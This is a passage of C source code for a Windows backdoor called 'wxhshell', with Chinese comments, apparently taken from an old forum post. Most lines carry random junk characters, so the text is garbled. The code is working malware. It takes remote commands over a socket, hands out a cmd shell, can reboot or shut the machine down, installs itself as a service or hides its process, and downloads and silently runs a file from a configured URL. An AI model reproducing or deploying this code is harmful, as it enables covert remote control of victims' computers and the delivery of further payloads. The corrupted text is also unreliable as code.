eF?jNO3  
    switch(cmd[0]) { K6,d{n  
  +ZkJ{r0,(  
  // 帮助 IiV]lxiE]  
  case '?': { QT4vjz+|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WLH ;{  
    break; &:~9'-O  
  } /*G bl  
  // 安装 z6fY_LL  
  case 'i': { 'l3 DP  
    if(Install()) # S0N`V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pL: r\Y:R  
    else <3x:nH @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 > QqsQ  
    break; 9{%/I   
    } [-^xw1:  
  // 卸载 ;X+cS,h  
  case 'r': { O7p=|F"  
    if(Uninstall()) oo1h"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p{&o{+c  
    else K14v6d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +9M";'\c  
    break; %K0Wm#)  
    } jVna;o)  
  // 显示 wxhshell 所在路径 7?8+h  
  case 'p': { Ym 2Ac>I4  
    char svExeFile[MAX_PATH]; q-S#[I+g  
    strcpy(svExeFile,"\n\r"); tO3#kV\,  
      strcat(svExeFile,ExeFile); IV%Rph>d  
        send(wsh,svExeFile,strlen(svExeFile),0); z}Vg4\x&  
    break; C1OiMb(:  
    } c=re(  
  // 重启 3pyE'9"f6  
  case 'b': { \ *A!@T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WUb] 8$n  
    if(Boot(REBOOT)) NKiWt Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jaB[Q=By  
    else { E`|vu*l7  
    closesocket(wsh); 3S @)Ans  
    ExitThread(0); Q1(4l?X@  
    } z~/e\  
    break; .>2]m[53  
    }  xF*i+'2  
  // 关机 8Ep!  
  case 'd': { 3teP6|K'g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xdMY2u  
    if(Boot(SHUTDOWN)) g O/\Yi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QE721y   
    else { k{bC3)'$#R  
    closesocket(wsh); {gzVbZ#  
    ExitThread(0); 9[[$5t`8  
    } XJ1Bl  
    break; ,M$h3B\;r  
    } FLIU}doc  
  // 获取shell Sx1OY0)s  
  case 's': { EIF  
    CmdShell(wsh); \/-4jF:  
    closesocket(wsh); *]c~[&x5&  
    ExitThread(0); NMzq10M=6  
    break; ssl.Y!  
  } :.(A,  
  // 退出 Z7k ku:9  
  case 'x': { r-a0XNS*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {9{PU&?(  
    CloseIt(wsh); t(}g;O-  
    break; 'f8'|o)  
    } ;_0frX  
  // 离开 $y%IM`/w  
  case 'q': { GE=PaYz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >[Tt'.S!?  
    closesocket(wsh); RL*b4 7,  
    WSACleanup(); wM}AWmH  
    exit(1); Kd*=-  
    break; 7tne/Yz  
        }  m=a^t  
  } a'O-0]g,  
  } JW"n#sR4  
w8zr0z  
  // 提示信息 }|wC7*^)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *d31fBCk%  
} ,:0!+1  
  } szXqJG8|  
IA$=  
  return; ^-F#"i|Cn  
} h;R>|2A  
'=J|IN7WT  
// shell模块句柄 P1 |3%#c  
int CmdShell(SOCKET sock) 9<o*aFgCa  
{ Yy,XKIqU  
STARTUPINFO si; Bq,MTzxD  
ZeroMemory(&si,sizeof(si)); "*:?m{w5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h<qi[d4X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kV4L4yE  
PROCESS_INFORMATION ProcessInfo; +}eK8>2  
char cmdline[]="cmd"; c=aZ[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E&)o.l<h|  
  return 0; uH#X:Vne  
} V{X/yN.u  
=Z..&H5i  
// 自身启动模式 H|/"'t OZ  
int StartFromService(void) VO /b&%  
{ g+Y &rz  
typedef struct =&~ K;=:  
{ n*caP9B  
  DWORD ExitStatus; V(Cxd.u   
  DWORD PebBaseAddress; 2nCHL '8N  
  DWORD AffinityMask; w|4CBll  
  DWORD BasePriority; 4}Lui9  
  ULONG UniqueProcessId; yoz-BS  
  ULONG InheritedFromUniqueProcessId; xm tD0U1  
}   PROCESS_BASIC_INFORMATION; "G Jhx/zt  
! 6R|  
PROCNTQSIP NtQueryInformationProcess; s+^1\  
/JIVp_-p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nw%^Gs<~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @\+UTkl8  
tg<bVA)E'J  
  HANDLE             hProcess; \\C!{}+  
  PROCESS_BASIC_INFORMATION pbi; U*XdFH}vV  
($ gmN 4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AdbTI#eY  
  if(NULL == hInst ) return 0; SJE!14|e  
L @J$kqWY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @c}Gw;e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }N:QB}7'_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y,`q6(&  
,^jQBD4={  
  if (!NtQueryInformationProcess) return 0; 65tsJ"a<  
>f D%lq;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -V P_Aw$  
  if(!hProcess) return 0; %VE FruM  
<3Rq!w/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "B9zQ,[Q  
]deO\mB  
  CloseHandle(hProcess); OaY]}4tI$  
3TN'1D ei  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jg$ NYs.xZ  
if(hProcess==NULL) return 0; TN/&^/  
nYO$ |/e  
HMODULE hMod; -6^Ee?"  
char procName[255]; ony;U#^T  
unsigned long cbNeeded; pP%+@;  
WGo ryvEx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?P}) Qa  
X>Z83qV5d!  
  CloseHandle(hProcess); I*pFX0+  
Z/:W.*u  
if(strstr(procName,"services")) return 1; // 以服务启动 ?.ofs}  
;zSV~G6-  
  return 0; // 注册表启动  < B!f;  
} waG &3m  
DLO#_t^v.  
// 主模块 N9vNSmm  
int StartWxhshell(LPSTR lpCmdLine) wQM( |@zE}  
{ )ri'W <l  
  SOCKET wsl; $?9u;+jIR  
BOOL val=TRUE; r l;Y7l  
  int port=0; COD^osM@  
  struct sockaddr_in door; e.(RhajB  
I]~s{I(EK  
  if(wscfg.ws_autoins) Install(); mn(MgJKQ\  
ANR611-a  
port=atoi(lpCmdLine); [P]M)vJ**  
Q[lkhx|.B  
if(port<=0) port=wscfg.ws_port; &m{~4]qWpM  
I,V'J|=j  
  WSADATA data; bHzZ4i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "AIS6%,  
>f;oY9 {m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lxBcO/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |r4&@)  
  door.sin_family = AF_INET; ,pW^>J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VotI5O $  
  door.sin_port = htons(port); \;+b1  
8:]5H}H i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lg@q} ]1  
closesocket(wsl); 5^Lbc.h  
return 1; ]agdVr^  
} bf[l4$3k  
MN>U jFA  
  if(listen(wsl,2) == INVALID_SOCKET) { |+=ctpx9&  
closesocket(wsl); o Y<vKs^  
return 1; clr]gib  
} Z eWst w7  
  Wxhshell(wsl); D~TK'&  
  WSACleanup(); oJI+c+e"  
W\e!rq  
return 0; t2qWB[r  
:k~ p=ko  
} w!Z,3Yc)  
L)Da1<O  
// 以NT服务方式启动 8 ;=?Lw?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ">nFzg?Y  
{ 0JhUncx  
DWORD   status = 0; If|i `,Iy  
  DWORD   specificError = 0xfffffff; 3W3d $  
H$&P=\8n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lPz5.(5'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =.9tRq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^ .Q/iXgh  
  serviceStatus.dwWin32ExitCode     = 0; ?!bWUVC)_  
  serviceStatus.dwServiceSpecificExitCode = 0; ~$bQ;`,L  
  serviceStatus.dwCheckPoint       = 0; S7CD#Y[s  
  serviceStatus.dwWaitHint       = 0; aIN?|Ch  
/ZSdY_%s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w Qp{z  
  if (hServiceStatusHandle==0) return; UZE%!OWpeK  
p+{*w7?8"[  
status = GetLastError(); y{nX 6  
  if (status!=NO_ERROR) 9(BB>o54r  
{ o2LUB)=R'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >JN[5aus  
    serviceStatus.dwCheckPoint       = 0; M5S<N_+Pe  
    serviceStatus.dwWaitHint       = 0; ?QzN\f Y;  
    serviceStatus.dwWin32ExitCode     = status; ~ o5h}OU"  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;fv/s]X86I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =}W)%Hldr.  
    return; ralU9MN.  
  } 'RCX6TKBnR  
3[To"You  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KYFkO~N  
  serviceStatus.dwCheckPoint       = 0; ~I%JVX%  
  serviceStatus.dwWaitHint       = 0; P"c7h7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JI92Dc*o  
} McU]U 9:z  
hhOrO<(  
// 处理NT服务事件,比如:启动、停止 e#4 iue7U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !|#1z}(  
{ ;'|t>'0_  
switch(fdwControl) {>#4{D00  
{ jt",\%j  
case SERVICE_CONTROL_STOP: N)$yBzN  
  serviceStatus.dwWin32ExitCode = 0; $EuI2.o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y#e<]5I  
  serviceStatus.dwCheckPoint   = 0; .fS1  
  serviceStatus.dwWaitHint     = 0; _NM=9cWd  
  { 1Q9e S&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 79MB_Is]s  
  } D5 ^WiQ<  
  return; |Oe$)(`|h  
case SERVICE_CONTROL_PAUSE: 9{{CNy p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o=do L{ #  
  break; &v_b7h  
case SERVICE_CONTROL_CONTINUE: [2ZZPY9?Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HLDg_ On8  
  break; _l.kbfp@  
case SERVICE_CONTROL_INTERROGATE: l@%7] 0!T  
  break; e@{8G^o>D  
}; {\-IAuM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i52:<< 8a  
} "8`f x  
Z9 tjo1X  
// 标准应用程序主函数 KRP)y{~o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XAc#ywophi  
{ gUxJ>~  
[a1}r=6~  
// 获取操作系统版本 YPsuG -is  
OsIsNt=GetOsVer(); 81U(*6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q P>Gre  
GvT'v0&+  
  // 从命令行安装 w.H\j9E l  
  if(strpbrk(lpCmdLine,"iI")) Install(); v#`P?B\  
s&zg!~@5b  
  // 下载执行文件 cwA+?:Ry}  
if(wscfg.ws_downexe) { p[-bu B]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EK}f-Xei  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]w|,n2DG  
} zi}dQsy6  
c1p*}T  
if(!OsIsNt) { fmj-&6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]i@VIvYq  
HideProc(); rF5O?<(  
StartWxhshell(lpCmdLine); nXqZkZE\  
} hSD uByoi  
else S[cVoV  
  if(StartFromService()) c)fTI,.$  
  // 以服务方式启动 O hcPlr  
  StartServiceCtrlDispatcher(DispatchTable); geu8$^  
else z,B'I.)M  
  // 普通方式启动 !B{N:?r  
  StartWxhshell(lpCmdLine); CEos`  
KBo/GBD]|  
return 0; nr<&j#!L  
}
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只看该作者 1 发表于: 2006-10-10
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